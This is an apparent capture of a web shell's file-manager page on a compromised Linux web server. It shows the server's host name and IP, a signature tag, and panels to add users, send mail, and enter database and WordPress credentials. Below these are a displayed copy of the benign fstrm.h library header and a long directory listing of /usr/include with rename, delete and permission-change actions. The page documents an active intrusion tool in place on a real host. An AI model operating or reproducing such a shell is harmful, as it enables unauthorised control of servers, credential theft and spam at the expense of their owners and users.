System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
drwxr-xr-x
]
:
/
usr
/
include
/
216.73.216.50
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for mail.ontime-ae.com made by tabagkayu.
Folder Name
File Name
File Content
File
fstrm.h
/* * Copyright (c) 2013-2014 by Farsight Security, Inc. * * Permission is hereby granted, free of charge, to any person obtaining * a copy of this software and associated documentation files (the * "Software"), to deal in the Software without restriction, including * without limitation the rights to use, copy, modify, merge, publish, * distribute, sublicense, and/or sell copies of the Software, and to * permit persons to whom the Software is furnished to do so, subject to * the following conditions: * * The above copyright notice and this permission notice shall be included * in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. * IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY * CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, * TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. * */ /*! \file * \mainpage Introduction * * This is `fstrm`, a C implementation of the Frame Streams data transport * protocol. * * Frame Streams is a light weight, binary clean protocol that allows for the * transport of arbitrarily encoded data payload sequences with minimal framing * overhead -- just four bytes per data frame. Frame Streams does not specify an * encoding format for data frames and can be used with any data serialization * format that produces byte sequences, such as [Protocol Buffers], [XML], * [JSON], [MessagePack], [YAML], etc. Frame Streams can be used as both a * streaming transport over a reliable byte stream socket (TCP sockets, TLS * connections, `AF_UNIX` sockets, etc.) for data in motion as well as a file * format for data at rest. A "Content Type" header identifies the type of * payload being carried over an individual Frame Stream and allows cooperating * programs to determine how to interpret a given sequence of data payloads. * * `fstrm` is an optimized C implementation of Frame Streams that includes a * fast, lockless circular queue implementation and exposes library interfaces * for setting up a dedicated Frame Streams I/O thread and asynchronously * submitting data frames for transport from worker threads. It was originally * written to facilitate the addition of high speed binary logging to DNS * servers written in C using the [dnstap] log format. * * This is the API documentation for the `fstrm` library. For the project * hosting site, see <https://github.com/farsightsec/fstrm>. * * \authors Farsight Security, Inc. and the `fstrm` authors. * * \copyright 2013-2018. Licensed under the terms of the [MIT] license. * * [Protocol Buffers]: https://developers.google.com/protocol-buffers/ * [XML]: http://www.w3.org/TR/xml11/ * [JSON]: http://www.json.org/ * [MessagePack]: http://msgpack.org/ * [YAML]: http://www.yaml.org/ * [dnstap]: http://dnstap.info/ * [MIT]: https://opensource.org/licenses/MIT * * \page overview Library overview * * \section init Initializing the library * * `fstrm` has no global library state. In most cases, only a single * \ref fstrm_iothr library context object will be needed for the entire process, * which will implicitly create a background I/O serialization thread. This I/O * thread is bound to a particular output writer (for example, an `AF_UNIX` * socket) and is fully buffered -- submitted data frames will be accumulated in * an output buffer and periodically flushed, minimizing the number of system * calls that need to be performed. This frees worker threads from waiting for a * write() to complete. * * `fstrm` abstracts the actual I/O operations needed to read or write a byte * stream. File and socket I/O implementations are included in the library, but * if necessary `fstrm` can be extended to support new types of byte stream * transports. See the \ref fstrm_reader, \ref fstrm_writer, and \ref fstrm_rdwr * interfaces for details. * * The following code example shows the initialization of an `fstrm_iothr` * library context object connected to an \ref fstrm_file writer. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ const char *file_path = "/tmp/output.fs"; struct fstrm_file_options *fopt; struct fstrm_iothr *iothr; struct fstrm_writer *writer; fopt = fstrm_file_options_init(); fstrm_file_options_set_file_path(fopt, file_path); writer = fstrm_file_writer_init(fopt, NULL); if (!writer) { fprintf(stderr, "Error: fstrm_file_writer_init() failed.\n"); exit(EXIT_FAILURE); } iothr = fstrm_iothr_init(NULL, &writer); if (!iothr) { fprintf(stderr, "Error: fstrm_iothr_init() failed.\n"); exit(EXIT_FAILURE); } fstrm_file_options_destroy(&fopt); ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ * * Since the I/O operations are abstracted through the `fstrm_writer` interface, * the `writer` variable in the above example could instead have been * initialized with a completely different implementation. For example, * \ref fstrm_unix_writer objects can be initialized as follows: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ const char *socket_path = "/tmp/output.sock"; struct fstrm_writer *writer; struct fstrm_unix_writer_options *uwopt; uwopt = fstrm_unix_writer_options_init(); fstrm_unix_writer_options_set_socket_path(uwopt, socket_path); writer = fstrm_unix_writer_init(uwopt, NULL); if (!writer) { fprintf(stderr, "Error: fstrm_unix_writer_init() failed.\n"); exit(EXIT_FAILURE); } ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ * * \section queue Getting an input queue * * After the `fstrm_iothr` object has been created with fstrm_iothr_init(), an * input queue handle can be obtained with the fstrm_iothr_get_input_queue() * function, which returns an `fstrm_iothr_queue` object. This function is * thread-safe and returns a unique queue each time it is called, up to the * number of queues specified by fstrm_iothr_options_set_num_input_queues(). * `fstrm_iothr_queue` objects belong to their parent `fstrm_iothr` object and * will be destroyed when the parent `fstrm_iothr` object is destroyed. * * The following code example shows a single `fstrm_iothr_queue` handle being * obtained from an already initialized `fstrm_iothr` library context object. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ // 'iothr' is a struct fstrm_iothr * struct fstrm_iothr_queue *ioq; ioq = fstrm_iothr_get_input_queue(iothr); if (!ioq) { fprintf(stderr, "Error: fstrm_iothr_get_input_queue() failed.\n"); exit(EXIT_FAILURE); } ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ * * \section submit Submitting data frames * * Once the `fstrm_iothr` object has been created and an `fstrm_iothr_queue` * handle is available, data frames can be submitted for asynchronous writing * using the fstrm_iothr_submit() function. A callback is passed to this * function which will be invoked to deallocate the data frame once the I/O * thread has completed processing it. In the common case where the data frame * is dynamically allocated with `malloc()`, the deallocation callback must call * `free()`. fstrm_free_wrapper() is provided as a convenience function which * does this and can be specified as the `free_func` parameter to * fstrm_iothr_submit(). * * If space is available in the queue, fstrm_iothr_submit() will return * #fstrm_res_success, indicating that ownership of the memory allocation for the * data frame has passed from the caller to the library. The caller must not * reuse or deallocate the memory for the data frame after a successful call to * fstrm_iothr_submit(). * * Callers must check the return value of fstrm_iothr_submit(). If this function * fails, that is, it returns any result code other than #fstrm_res_success, the * caller must deallocate or otherwise dispose of memory allocated for the data * frame, in order to avoid leaking memory. fstrm_iothr_submit() can fail with * #fstrm_res_again if there is currently no space in the circular queue for an * additional frame, in which case a later call to fstrm_iothr_submit() with the * same parameters may succeed. However, if fstrm_iothr_submit() fails with * #fstrm_res_invalid, then there is a problem with the parameters and a later * call will not succeed. * * The following code example shows data frames containing a short sequence of * bytes being created and submitted repeatedly, with appropriate error * handling. Note that the data frames in this example intentionally contain * embedded unprintable characters, showing that Frame Streams is binary clean. * This example follows from the previous examples, where the `iothr` and `ioq` * variables have already been initialized. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ // 'iothr' is a struct fstrm_iothr * // 'ioq' is a struct fstrm_queue * const unsigned num_frames = 100; const uint8_t frame_template[] = { 'H', 'e', 'l', 'l', 'o', 0x00, 0x01, 0x02, 0x03, 'W', 'o', 'r', 'l', 'd', 0x04, 0x05, 0x06, 0x07, }; for (unsigned i = 0; i < num_frames; i++) { // Allocate a new frame from the template. uint8_t *frame = malloc(sizeof(frame_template)); if (!frame) break; memcpy(frame, frame_template, sizeof(frame_template)); // Submit the frame for writing. for (;;) { fstrm_res res; res = fstrm_iothr_submit(iothr, ioq, frame, sizeof(frame_template), fstrm_free_wrapper, NULL); if (res == fstrm_res_success) { // Frame successfully queued. break; } else if (res == fstrm_res_again) { // Queue is full. Try again in a busy loop. // Alternatively, if loss can be tolerated we // could free the frame here and break out of // the loop. continue; } else { // Permanent failure. free(frame); fputs("fstrm_iothr_submit() failed.\n", stderr); break; } } } ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ * * \section shutdown Shutting down * * Calling fstrm_iothr_destroy() on the `fstrm_iothr` object will signal the I/O * thread to flush any outstanding data frames being written and will deallocate * all associated resources. This function is synchronous and does not return * until the I/O thread has terminated. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ // 'iothr' is a struct fstrm_iothr * fstrm_iothr_destroy(&iothr); ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ */ #ifndef FSTRM_H #define FSTRM_H #ifdef __cplusplus extern "C" { #endif #include <sys/uio.h> #include <stddef.h> #include <stdint.h> /** * \defgroup fstrm_res fstrm_res * * Library result codes. * @{ */ /** * Result codes for functions. */ typedef enum { /** Success. */ fstrm_res_success, /** Failure. */ fstrm_res_failure, /** Resource temporarily unavailable. */ fstrm_res_again, /** Parameters were invalid. */ fstrm_res_invalid, /** The end of a stream has been reached. */ fstrm_res_stop, } fstrm_res; /**@}*/ struct fstrm_control; struct fstrm_file_options; struct fstrm_iothr; struct fstrm_iothr_options; struct fstrm_iothr_queue; struct fstrm_rdwr; struct fstrm_reader_options; struct fstrm_unix_writer_options; struct fstrm_writer; struct fstrm_writer_options; #include <fstrm/control.h> #include <fstrm/file.h> #include <fstrm/iothr.h> #include <fstrm/rdwr.h> #include <fstrm/reader.h> #include <fstrm/tcp_writer.h> #include <fstrm/unix_writer.h> #include <fstrm/writer.h> #ifdef __cplusplus } #endif #endif /* FSTRM_H */
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
drwxr-xr-x
2025-10-28 10:57:27
..
DIR
-
drwxr-xr-x
2025-06-28 07:14:01
GL
DIR
-
drwxr-xr-x
2024-03-13 04:59:05
ImageMagick-6
DIR
-
drwxr-xr-x
2025-04-01 01:15:54
X11
DIR
-
drwxr-xr-x
2024-09-25 10:58:45
arpa
DIR
-
drwxr-xr-x
2025-08-07 11:00:59
asm
DIR
-
drwxr-xr-x
2025-10-28 10:57:27
asm-generic
DIR
-
drwxr-xr-x
2025-10-28 10:57:27
bind9
DIR
-
drwxr-xr-x
2025-02-21 10:57:16
bits
DIR
-
drwxr-xr-x
2025-08-07 11:00:59
c++
DIR
-
drwxr-xr-x
2025-08-26 09:44:51
drm
DIR
-
drwxr-xr-x
2025-10-28 10:57:27
e2p
DIR
-
drwxr-xr-x
2025-10-09 10:58:24
et
DIR
-
drwxr-xr-x
2025-10-09 10:58:21
event2
DIR
-
drwxr-xr-x
2025-02-24 10:59:17
ext2fs
DIR
-
drwxr-xr-x
2025-10-09 10:58:24
finclude
DIR
-
drwxr-xr-x
2025-08-07 11:00:59
fontconfig
DIR
-
drwxr-xr-x
2024-03-13 05:00:10
freetype2
DIR
-
drwxr-xr-x
2025-04-01 10:57:43
fstrm
DIR
-
drwxr-xr-x
2024-03-13 04:59:50
gdbm
DIR
-
drwxr-xr-x
2024-03-13 05:00:43
gnu
DIR
-
drwxr-xr-x
2025-08-07 11:01:05
google
DIR
-
drwxr-xr-x
2024-03-13 04:59:15
gssapi
DIR
-
drwxr-xr-x
2025-06-03 10:58:51
gssrpc
DIR
-
drwxr-xr-x
2025-06-03 10:58:51
json-c
DIR
-
drwxr-xr-x
2024-03-13 04:59:45
kadm5
DIR
-
drwxr-xr-x
2025-06-03 10:58:51
krb5
DIR
-
drwxr-xr-x
2025-06-03 10:58:51
libexslt
DIR
-
drwxr-xr-x
2025-08-28 10:58:31
libltdl
DIR
-
drwxr-xr-x
2024-03-13 05:00:36
libpng16
DIR
-
drwxr-xr-x
2024-03-13 04:59:02
libpq
DIR
-
drwxr-xr-x
2025-02-25 10:57:30
libxml2
DIR
-
drwxr-xr-x
2025-08-06 01:59:33
libxslt
DIR
-
drwxr-xr-x
2025-08-28 10:58:31
linux
DIR
-
drwxr-xr-x
2025-10-28 10:57:27
lzma
DIR
-
drwxr-xr-x
2024-03-13 04:59:51
misc
DIR
-
drwxr-xr-x
2025-10-28 10:57:27
mtd
DIR
-
drwxr-xr-x
2025-10-28 10:57:27
mysql
DIR
-
drwxr-xr-x
2025-08-07 11:01:51
ncurses
DIR
-
drwxr-xr-x
2024-03-13 05:00:28
ncursesw
DIR
-
drwxr-xr-x
2024-03-13 05:00:28
net
DIR
-
drwxr-xr-x
2025-08-07 11:00:59
netash
DIR
-
drwxr-xr-x
2025-08-07 11:00:59
netatalk
DIR
-
drwxr-xr-x
2025-08-07 11:00:59
netax25
DIR
-
drwxr-xr-x
2025-08-07 11:00:59
neteconet
DIR
-
drwxr-xr-x
2025-08-07 11:00:59
netinet
DIR
-
drwxr-xr-x
2025-08-07 11:00:59
netipx
DIR
-
drwxr-xr-x
2025-08-07 11:00:59
netiucv
DIR
-
drwxr-xr-x
2025-08-07 11:00:59
netpacket
DIR
-
drwxr-xr-x
2025-08-07 11:00:59
netrom
DIR
-
drwxr-xr-x
2025-08-07 11:00:59
netrose
DIR
-
drwxr-xr-x
2025-08-07 11:00:59
nfs
DIR
-
drwxr-xr-x
2025-08-07 11:00:59
openssl
DIR
-
drwxr-xr-x
2024-10-10 10:57:14
perf
DIR
-
drwxr-xr-x
2025-10-28 10:57:27
pgsql
DIR
-
drwxr-xr-x
2025-02-20 07:58:18
protobuf-c
DIR
-
drwxr-xr-x
2024-03-13 04:59:15
protocols
DIR
-
drwxr-xr-x
2025-08-07 11:00:59
python2.7
DIR
-
drwxr-xr-x
2024-06-24 12:47:00
python3.6m
DIR
-
drwxr-xr-x
2025-08-28 10:58:34
rdma
DIR
-
drwxr-xr-x
2025-10-28 10:57:27
rpc
DIR
-
drwxr-xr-x
2025-08-07 11:00:59
scsi
DIR
-
drwxr-xr-x
2025-10-28 10:57:27
security
DIR
-
drwxr-xr-x
2025-08-28 10:58:33
selinux
DIR
-
drwxr-xr-x
2025-03-12 10:58:31
sepol
DIR
-
drwxr-xr-x
2024-03-13 05:00:01
sound
DIR
-
drwxr-xr-x
2025-10-28 10:57:27
sys
DIR
-
drwxr-xr-x
2025-08-07 11:00:59
uuid
DIR
-
drwxr-xr-x
2024-06-24 12:47:44
video
DIR
-
drwxr-xr-x
2025-10-28 10:57:27
webp
DIR
-
drwxr-xr-x
2025-06-03 10:58:50
xcb
DIR
-
drwxr-xr-x
2024-03-13 04:59:16
xen
DIR
-
drwxr-xr-x
2025-10-28 10:57:27
FlexLexer.h
text/x-c++
6.73 KB
-rw-r--r--
2019-10-12 12:33:17
a.out.h
text/x-c
4.25 KB
-rw-r--r--
2025-08-05 02:01:07
aio.h
text/x-c
7.28 KB
-rw-r--r--
2025-08-05 02:01:26
aliases.h
text/x-c
1.98 KB
-rw-r--r--
2025-08-05 02:01:27
alloca.h
text/x-c
1.17 KB
-rw-r--r--
2025-08-05 02:01:05
ar.h
text/x-c
1.69 KB
-rw-r--r--
2025-08-05 02:01:07
argp.h
text/x-c
24.82 KB
-rw-r--r--
2025-08-05 02:01:26
argz.h
text/x-c
5.91 KB
-rw-r--r--
2025-08-05 02:01:06
assert.h
text/x-c
4.45 KB
-rw-r--r--
2025-08-05 02:01:02
autosprintf.h
text/x-c
2.33 KB
-rw-r--r--
2019-11-18 05:16:51
byteswap.h
text/x-c
1.37 KB
-rw-r--r--
2025-08-05 02:01:06
bzlib.h
text/x-c
6.1 KB
-rw-r--r--
2010-09-10 11:08:42
com_err.h
text/x-c
2.07 KB
-rw-r--r--
2020-03-21 04:24:04
complex.h
text/x-c
7 KB
-rw-r--r--
2025-08-05 02:01:04
cpio.h
text/plain
2.21 KB
-rw-r--r--
2025-08-05 02:01:07
cpuidle.h
text/x-c
844 B
-rw-r--r--
2025-10-27 03:43:11
crypt.h
text/x-c
8.9 KB
-rw-r--r--
2021-10-09 04:04:04
ctype.h
text/x-c
10.71 KB
-rw-r--r--
2025-08-05 02:01:02
curses.h
text/x-c
97.29 KB
-rw-r--r--
2023-10-14 06:54:42
cursesapp.h
text/x-c++
6.62 KB
-rw-r--r--
2023-10-14 06:54:42
cursesf.h
text/x-c++
27.2 KB
-rw-r--r--
2023-10-14 06:54:42
cursesm.h
text/x-c++
19.22 KB
-rw-r--r--
2023-10-14 06:54:42
cursesp.h
text/x-c++
8.4 KB
-rw-r--r--
2023-10-14 06:54:42
cursesw.h
text/x-c
48.55 KB
-rw-r--r--
2023-10-14 06:54:42
cursslk.h
text/x-c++
7.13 KB
-rw-r--r--
2023-10-14 06:54:42
dbm.h
text/x-c
1.38 KB
-rw-r--r--
2022-10-08 01:22:08
dirent.h
text/x-c
12.19 KB
-rw-r--r--
2025-08-05 02:01:07
dlfcn.h
text/x-c
7.07 KB
-rw-r--r--
2025-08-05 02:01:05
elf.h
text/x-c
170.73 KB
-rw-r--r--
2025-08-05 02:01:29
endian.h
text/x-c
3.11 KB
-rw-r--r--
2025-08-05 02:01:06
entities.h
text/x-c
4.81 KB
-rw-r--r--
2017-08-30 11:05:54
envz.h
text/x-c
2.8 KB
-rw-r--r--
2025-08-05 02:01:06
err.h
text/x-c
2.16 KB
-rw-r--r--
2025-08-05 02:01:07
errno.h
text/x-c
1.64 KB
-rw-r--r--
2025-08-05 02:01:05
error.h
text/x-c
1.99 KB
-rw-r--r--
2025-08-05 02:01:07
eti.h
text/plain
2.82 KB
-rw-r--r--
2023-10-14 06:54:42
etip.h
text/x-c++
9.47 KB
-rw-r--r--
2023-10-14 06:54:42
evdns.h
text/x-c
1.97 KB
-rw-r--r--
2019-10-12 12:29:31
event.h
text/x-c
2.68 KB
-rw-r--r--
2019-10-12 12:29:31
evhttp.h
text/x-c
1.99 KB
-rw-r--r--
2019-10-12 12:29:31
evrpc.h
text/x-c
1.97 KB
-rw-r--r--
2019-10-12 12:29:31
evutil.h
text/x-c
1.74 KB
-rw-r--r--
2019-10-12 12:29:31
execinfo.h
text/x-c
1.49 KB
-rw-r--r--
2025-08-05 02:01:26
expat.h
text/x-c
42.66 KB
-rw-r--r--
2025-04-15 07:58:56
expat_config.h
text/plain
3.43 KB
-rw-r--r--
2025-04-15 07:58:56
expat_external.h
text/x-c
5.4 KB
-rw-r--r--
2025-04-15 07:58:56
fcntl.h
text/x-c
10.7 KB
-rw-r--r--
2025-08-05 02:01:07
features.h
text/plain
15.69 KB
-rw-r--r--
2025-08-05 02:00:57
fenv.h
text/x-c
5.72 KB
-rw-r--r--
2025-08-05 02:01:04
fmtmsg.h
text/x-c
3.16 KB
-rw-r--r--
2025-08-05 02:01:05
fnmatch.h
text/x-c
2.24 KB
-rw-r--r--
2025-08-05 02:01:07
form.h
text/x-c
18.17 KB
-rw-r--r--
2023-10-14 06:54:42
fpu_control.h
text/x-c
3.5 KB
-rw-r--r--
2025-08-05 02:01:04
fstab.h
text/x-c
3.04 KB
-rw-r--r--
2025-08-05 02:01:07
fstrm.h
text/x-tex
12.71 KB
-rw-r--r--
2019-03-11 08:58:34
fts.h
text/x-c
8.18 KB
-rw-r--r--
2025-08-05 02:01:07
ftw.h
text/x-c
5.13 KB
-rw-r--r--
2025-08-05 02:01:07
gconv.h
text/x-c
4.31 KB
-rw-r--r--
2025-08-05 02:00:57
gcrypt.h
text/x-c
68.71 KB
-rw-r--r--
2022-06-28 11:54:07
gd.h
text/x-c
56.42 KB
-rw-r--r--
2017-08-30 11:05:54
gd_color_map.h
text/x-c
478 B
-rw-r--r--
2017-08-30 11:05:54
gd_errors.h
text/plain
1.47 KB
-rw-r--r--
2017-08-30 11:05:54
gd_io.h
text/x-c
3.05 KB
-rw-r--r--
2017-08-30 11:05:54
gdbm.h
text/x-Algol68
10.1 KB
-rw-r--r--
2022-10-08 01:22:07
gdcache.h
text/x-c
2.83 KB
-rw-r--r--
2017-08-30 11:05:54
gdfontg.h
text/x-c
553 B
-rw-r--r--
2017-08-30 11:05:54
gdfontl.h
text/x-c
551 B
-rw-r--r--
2017-08-30 11:05:54
gdfontmb.h
text/x-c
519 B
-rw-r--r--
2017-08-30 11:05:54
gdfonts.h
text/x-c
515 B
-rw-r--r--
2017-08-30 11:05:54
gdfontt.h
text/x-c
546 B
-rw-r--r--
2017-08-30 11:05:54
gdfx.h
text/x-c
497 B
-rw-r--r--
2017-08-30 11:05:54
gdpp.h
text/x-c++
50.94 KB
-rw-r--r--
2017-08-30 11:05:54
getopt.h
text/x-c
1.43 KB
-rw-r--r--
2025-08-05 02:01:07
gettext-po.h
text/x-c
15.17 KB
-rw-r--r--
2019-11-18 05:17:03
glob.h
text/x-c
6.46 KB
-rw-r--r--
2025-08-05 02:01:07
gnu-versions.h
text/plain
2.29 KB
-rw-r--r--
2025-08-05 02:00:57
gnumake.h
text/plain
2.84 KB
-rw-r--r--
2022-04-18 04:38:33
gpg-error.h
text/x-c
66.29 KB
-rw-r--r--
2019-10-12 12:20:46
gpgrt.h
text/x-c
66.29 KB
-rw-r--r--
2019-10-12 12:20:46
grp.h
text/x-c
6.53 KB
-rw-r--r--
2025-08-05 02:01:07
gshadow.h
text/x-c
4.42 KB
-rw-r--r--
2025-08-05 02:01:25
gssapi.h
text/x-c
181 B
-rw-r--r--
2025-06-03 02:06:27
iconv.h
text/x-c
1.81 KB
-rw-r--r--
2025-08-05 02:00:57
idn-free.h
text/x-c
2.41 KB
-rw-r--r--
2019-10-13 04:55:34
idn-int.h
text/x-c
20 B
-rw-r--r--
2019-10-13 04:55:34
idna.h
text/x-c
3.48 KB
-rw-r--r--
2019-10-13 04:55:34
ieee754.h
text/x-c
4.79 KB
-rw-r--r--
2025-08-05 02:01:04
ifaddrs.h
text/x-c
2.77 KB
-rw-r--r--
2025-08-05 02:01:27
inttypes.h
text/x-c
11.61 KB
-rw-r--r--
2025-08-05 02:01:05
jconfig-64.h
text/plain
2.17 KB
-rw-r--r--
2025-05-14 12:43:01
jconfig.h
text/x-c
246 B
-rw-r--r--
2025-05-14 12:43:01
jerror.h
text/plain
14.73 KB
-rw-r--r--
2025-05-14 12:43:01
jmorecfg.h
text/plain
14.7 KB
-rw-r--r--
2025-05-14 12:43:01
jpegint.h
text/x-Algol68
15.22 KB
-rw-r--r--
2025-05-14 12:43:01
jpeglib.h
text/x-c
48.71 KB
-rw-r--r--
2025-05-14 12:43:01
kdb.h
text/x-c
67.66 KB
-rw-r--r--
2025-06-03 02:06:27
keyutils.h
text/x-c
7.52 KB
-rw-r--r--
2021-10-08 01:50:54
krad.h
text/x-c
8.72 KB
-rw-r--r--
2025-06-03 02:06:27
krb5.h
text/x-c
402 B
-rw-r--r--
2025-06-03 02:06:27
langinfo.h
text/x-c
17.43 KB
-rw-r--r--
2025-08-05 02:00:57
lastlog.h
text/x-c
126 B
-rw-r--r--
2025-08-05 02:01:28
libaio.h
text/x-c
8.73 KB
-rw-r--r--
2019-11-13 01:59:49
libgen.h
text/x-c
1.35 KB
-rw-r--r--
2025-08-05 02:01:07
libintl.h
text/x-c
4.47 KB
-rw-r--r--
2025-08-05 02:01:02
libpq-events.h
text/x-c
2.16 KB
-rw-r--r--
2025-02-17 09:17:13
libpq-fe.h
text/x-c
22.79 KB
-rw-r--r--
2025-02-17 09:17:13
limits.h
text/x-c
5.29 KB
-rw-r--r--
2025-08-05 02:00:57
link.h
text/x-c
7.05 KB
-rw-r--r--
2025-08-05 02:01:29
locale.h
text/x-c
7.49 KB
-rw-r--r--
2025-08-05 02:00:57
ltdl.h
text/x-c
5.58 KB
-rw-r--r--
2019-10-11 02:55:29
lzma.h
text/plain
9.59 KB
-rw-r--r--
2018-04-29 03:10:38
malloc.h
text/x-c
5.96 KB
-rw-r--r--
2025-08-05 02:01:06
math.h
text/x-c
52.07 KB
-rw-r--r--
2025-08-05 02:01:04
mcheck.h
text/x-c
2.38 KB
-rw-r--r--
2025-08-05 02:01:06
memory.h
text/x-c
955 B
-rw-r--r--
2025-08-05 02:01:06
menu.h
text/x-c
11.91 KB
-rw-r--r--
2023-10-14 06:54:42
mntent.h
text/x-c
3.28 KB
-rw-r--r--
2025-08-05 02:01:07
monetary.h
text/x-c
1.76 KB
-rw-r--r--
2025-08-05 02:01:05
mqueue.h
text/x-c
3.67 KB
-rw-r--r--
2025-08-05 02:01:26
nc_tparm.h
text/x-c
4.1 KB
-rw-r--r--
2023-10-14 06:54:42
ncurses.h
text/x-c
97.29 KB
-rw-r--r--
2023-10-14 06:54:42
ncurses_dll.h
text/plain
4.18 KB
-rw-r--r--
2023-10-14 06:54:42
ndbm.h
text/x-c
2.4 KB
-rw-r--r--
2022-10-08 01:22:08
netdb.h
text/x-c
27.44 KB
-rw-r--r--
2025-08-05 02:01:27
nl_types.h
text/x-c
1.71 KB
-rw-r--r--
2025-08-05 02:01:02
nss.h
text/x-c
1.83 KB
-rw-r--r--
2025-08-05 02:01:28
obstack.h
text/x-c
20.81 KB
-rw-r--r--
2025-08-05 02:01:06
panel.h
text/x-c
4.03 KB
-rw-r--r--
2023-10-14 06:54:42
paths.h
text/plain
2.91 KB
-rw-r--r--
2025-08-05 02:01:07
pcre.h
text/x-c
30.97 KB
-rw-r--r--
2021-10-08 07:17:42
pcre2.h
text/x-c
43.75 KB
-rw-r--r--
2022-08-02 04:07:28
pcre2posix.h
text/x-c
5.67 KB
-rw-r--r--
2022-08-02 04:07:28
pcre_scanner.h
text/x-c
6.45 KB
-rw-r--r--
2021-10-08 07:17:42
pcre_stringpiece.h
text/x-c
6.16 KB
-rw-r--r--
2021-10-08 07:17:42
pcrecpp.h
text/plain
25.91 KB
-rw-r--r--
2021-10-08 07:17:42
pcrecpparg.h
text/x-c++
6.62 KB
-rw-r--r--
2021-10-08 07:17:42
pcreposix.h
text/x-c
5.32 KB
-rw-r--r--
2021-10-08 07:17:42
pg_config-x86_64.h
text/plain
31.71 KB
-rw-r--r--
2025-02-20 07:58:14
pg_config.h
text/x-c
1.21 KB
-rw-r--r--
2025-02-20 07:58:18
pg_config_ext-x86_64.h
text/plain
323 B
-rw-r--r--
2025-02-20 07:58:14
pg_config_ext.h
text/x-c
1.24 KB
-rw-r--r--
2025-02-20 07:58:18
pg_config_manual.h
text/plain
12.71 KB
-rw-r--r--
2025-02-20 07:57:59
pg_config_os.h
text/plain
1.03 KB
-rw-r--r--
2025-02-17 09:17:13
png.h
text/plain
140.77 KB
-rw-r--r--
2019-10-12 12:44:13
pngconf.h
text/x-c
22.31 KB
-rw-r--r--
2019-10-12 12:44:13
pnglibconf.h
text/plain
7.39 KB
-rw-r--r--
2019-10-12 12:44:13
poll.h
text/x-c
22 B
-rw-r--r--
2025-08-05 02:01:07
postgres_ext.h
text/x-c
2.19 KB
-rw-r--r--
2025-02-17 09:17:13
pr29.h
text/x-c
2.07 KB
-rw-r--r--
2019-10-13 04:55:34
printf.h
text/x-c
6.64 KB
-rw-r--r--
2025-08-05 02:01:05
proc_service.h
text/x-c
3.39 KB
-rw-r--r--
2025-08-05 02:01:27
profile.h
text/x-c
11.87 KB
-rw-r--r--
2025-06-03 02:06:27
pthread.h
text/x-c
40.3 KB
-rw-r--r--
2025-08-05 02:01:06
pty.h
text/x-c
1.53 KB
-rw-r--r--
2025-08-05 02:01:28
punycode.h
text/x-c
9.16 KB
-rw-r--r--
2019-10-13 04:55:34
pwd.h
text/x-c
6.01 KB
-rw-r--r--
2025-08-05 02:01:07
re_comp.h
text/x-c
962 B
-rw-r--r--
2025-08-05 02:01:07
regex.h
text/x-c
24.14 KB
-rw-r--r--
2025-08-05 02:01:07
regexp.h
text/plain
1.41 KB
-rw-r--r--
2025-08-05 02:01:07
resolv.h
text/x-c
11.87 KB
-rw-r--r--
2025-08-05 02:01:27
sched.h
text/x-c
4.62 KB
-rw-r--r--
2025-08-05 02:01:07
search.h
text/x-c
5.1 KB
-rw-r--r--
2025-08-05 02:01:07
semaphore.h
text/x-c
2.34 KB
-rw-r--r--
2025-08-05 02:01:06
setjmp.h
text/x-c
3.58 KB
-rw-r--r--
2025-08-05 02:01:04
sgtty.h
text/x-c
1.31 KB
-rw-r--r--
2025-08-05 02:01:07
shadow.h
text/x-c
5.34 KB
-rw-r--r--
2025-08-05 02:01:25
signal.h
text/x-c
11.96 KB
-rw-r--r--
2025-08-05 02:01:04
spawn.h
text/x-c
6.53 KB
-rw-r--r--
2025-08-05 02:01:07
stab.h
text/x-c
264 B
-rw-r--r--
2025-08-05 02:01:07
stdc-predef.h
text/plain
2.24 KB
-rw-r--r--
2025-08-05 02:00:57
stdint.h
text/x-c
8.27 KB
-rw-r--r--
2025-08-05 02:01:05
stdio.h
text/x-c
29.46 KB
-rw-r--r--
2025-08-05 02:01:05
stdio_ext.h
text/x-c
2.73 KB
-rw-r--r--
2025-08-05 02:01:05
